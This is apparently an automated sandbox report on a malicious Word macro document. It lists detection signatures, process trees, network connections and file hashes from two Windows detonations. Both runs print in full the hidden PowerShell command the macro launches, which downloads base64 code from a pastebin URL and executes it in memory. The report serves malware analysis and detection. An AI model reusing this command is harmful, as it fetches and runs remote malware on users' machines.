Malware Analysis Report

2025-01-22 19:08

Sample ID 240723-xrgr1swcqb
Target 0949319f174a220b4e719715d9d5b20e.doc
SHA256 5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077
Tags
macro macro_on_action discovery execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077

Threat Level: Known bad

The file 0949319f174a220b4e719715d9d5b20e.doc was found to be: Known bad.

Malicious Activity Summary

macro macro_on_action discovery execution

Process spawned unexpected child process

Command and Scripting Interpreter: PowerShell

Office macro that triggers on suspicious action

Suspicious Office macro

Blocklisted process makes network request

Legitimate hosting services abused for malware hosting/C2

Drops file in Windows directory

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: AddClipboardFormatListener

Suspicious behavior: EnumeratesProcesses

Enumerates system info in registry

Suspicious use of WriteProcessMemory

Suspicious use of SetWindowsHookEx

Checks processor information in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-23 19:05

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-23 19:05

Reported

2024-07-23 19:07

Platform

win7-20240704-en

Max time kernel

121s

Max time network

122s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0949319f174a220b4e719715d9d5b20e.doc"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0949319f174a220b4e719715d9d5b20e.doc"

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/pw1Ht9hR'))).EntryPoint.Invoke($null,$null)

Network

Country Destination Domain Proto
US 8.8.8.8:53 pastebin.com udp
US 172.67.19.24:443 pastebin.com tcp

Files

memory/1772-0-0x000000002F9A1000-0x000000002F9A2000-memory.dmp

memory/1772-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1772-2-0x000000007105D000-0x0000000071068000-memory.dmp

memory/1772-5-0x0000000000330000-0x0000000000430000-memory.dmp

memory/1772-7-0x0000000000330000-0x0000000000430000-memory.dmp

memory/1772-6-0x0000000000330000-0x0000000000430000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryFR040c.lex

MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

memory/1772-67-0x000000007105D000-0x0000000071068000-memory.dmp

memory/1772-68-0x0000000000330000-0x0000000000430000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

MD5 5c5778980c66b19f8f92a6619e456698
SHA1 66a9a1e70833e9d91f7e66785549a16b2190fb14
SHA256 6d9a7791d8745887886f2af80dafcaf16df84de18d1a7011306c005397dae2b7
SHA512 530423e6994ca4585fbed5a93a4532a39485b6618a2bd9bdad28ab22e7a50152dae08a934a797355d9496591022347d7aa39e3213eb457d135e9c624bbb2236f

memory/1772-90-0x000000005FFF0000-0x0000000060000000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\51007C5C.emf

MD5 f8c7ec6da57ae75490132ff35cef2247
SHA1 962da8dd8ec8d636ebfeb3beecc296fa0b0e64f8
SHA256 849fdaaab3c0ca296b2c06a1d7b2f0779a594a0b796023810eda1d7606af31cb
SHA512 e44be74690c981f54b78765716abfb51e2f5108d034623bea9f5213dccd1b1342b9547370a09b7bf5a4f0c70c9d81c6d61d77e5fff6fe096e9313ba8b5a5d094

memory/1772-94-0x0000000000330000-0x0000000000430000-memory.dmp

memory/1772-93-0x000000007105D000-0x0000000071068000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-23 19:05

Reported

2024-07-23 19:07

Platform

win10v2004-20240709-en

Max time kernel

140s

Max time network

127s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0949319f174a220b4e719715d9d5b20e.doc" /o ""

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0949319f174a220b4e719715d9d5b20e.doc" /o ""

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/pw1Ht9hR'))).EntryPoint.Invoke($null,$null)

Network

Country Destination Domain Proto
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
GB 52.109.32.7:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 97.32.109.52.in-addr.arpa udp
US 8.8.8.8:53 7.32.109.52.in-addr.arpa udp
US 8.8.8.8:53 134.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 pastebin.com udp
US 172.67.19.24:443 pastebin.com tcp
US 8.8.8.8:53 24.19.67.172.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 92.16.208.104.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 metadata.templates.cdn.office.net udp
GB 2.17.209.123:443 metadata.templates.cdn.office.net tcp
US 8.8.8.8:53 binaries.templates.cdn.office.net udp
US 8.8.8.8:53 123.209.17.2.in-addr.arpa udp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
GB 173.222.211.57:443 binaries.templates.cdn.office.net tcp
US 8.8.8.8:53 57.211.222.173.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 98.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp

Files

memory/4028-0-0x00007FFC88670000-0x00007FFC88680000-memory.dmp

memory/4028-2-0x00007FFC88670000-0x00007FFC88680000-memory.dmp

memory/4028-3-0x00007FFC88670000-0x00007FFC88680000-memory.dmp

memory/4028-4-0x00007FFC88670000-0x00007FFC88680000-memory.dmp

memory/4028-1-0x00007FFC88670000-0x00007FFC88680000-memory.dmp

memory/4028-5-0x00007FFCC868D000-0x00007FFCC868E000-memory.dmp

memory/4028-7-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp

memory/4028-8-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp

memory/4028-9-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp

memory/4028-12-0x00007FFC86010000-0x00007FFC86020000-memory.dmp

memory/4028-11-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp

memory/4028-10-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp

memory/4028-6-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp

memory/4028-13-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp

memory/4028-14-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp

memory/4028-16-0x00007FFC86010000-0x00007FFC86020000-memory.dmp

memory/4028-17-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp

memory/4028-15-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp

memory/4028-20-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp

memory/4028-19-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp

memory/4028-18-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp

memory/4028-36-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp

memory/4028-37-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp

memory/4164-38-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_onvtp4gl.g0u.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\FEEA5080.emf

MD5 f8c7ec6da57ae75490132ff35cef2247
SHA1 962da8dd8ec8d636ebfeb3beecc296fa0b0e64f8
SHA256 849fdaaab3c0ca296b2c06a1d7b2f0779a594a0b796023810eda1d7606af31cb
SHA512 e44be74690c981f54b78765716abfb51e2f5108d034623bea9f5213dccd1b1342b9547370a09b7bf5a4f0c70c9d81c6d61d77e5fff6fe096e9313ba8b5a5d094

memory/4164-39-0x0000022E73370000-0x0000022E73392000-memory.dmp

memory/4164-55-0x0000022E73850000-0x0000022E73894000-memory.dmp

memory/4164-59-0x0000022E73920000-0x0000022E73996000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryFR040c.lex

MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

MD5 93cdc64430debe641a563564b98692a1
SHA1 1bbd9324a18e60fd29ac490f956eb29a20220ec0
SHA256 82e7914fd1687ac20f449e20965b342ea645945aaab371a1951acdbb252da8e2
SHA512 de5365084b77b99ba0b1d8080c52601b2ecbe27c1692ea48a53a5d5b37cc3f3c7ee32978096843163504581ca4d89379646aebf3a45160976a0ec56bf066c260

memory/4028-90-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\TCDEB91.tmp\sist02.xsl

MD5 f883b260a8d67082ea895c14bf56dd56
SHA1 7954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256 ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512 d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

memory/4028-208-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp

memory/4028-209-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp

memory/4028-210-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp

memory/4164-211-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp

memory/4028-236-0x00007FFC88670000-0x00007FFC88680000-memory.dmp

memory/4028-238-0x00007FFC88670000-0x00007FFC88680000-memory.dmp

memory/4028-237-0x00007FFC88670000-0x00007FFC88680000-memory.dmp

memory/4028-235-0x00007FFC88670000-0x00007FFC88680000-memory.dmp

memory/4028-239-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp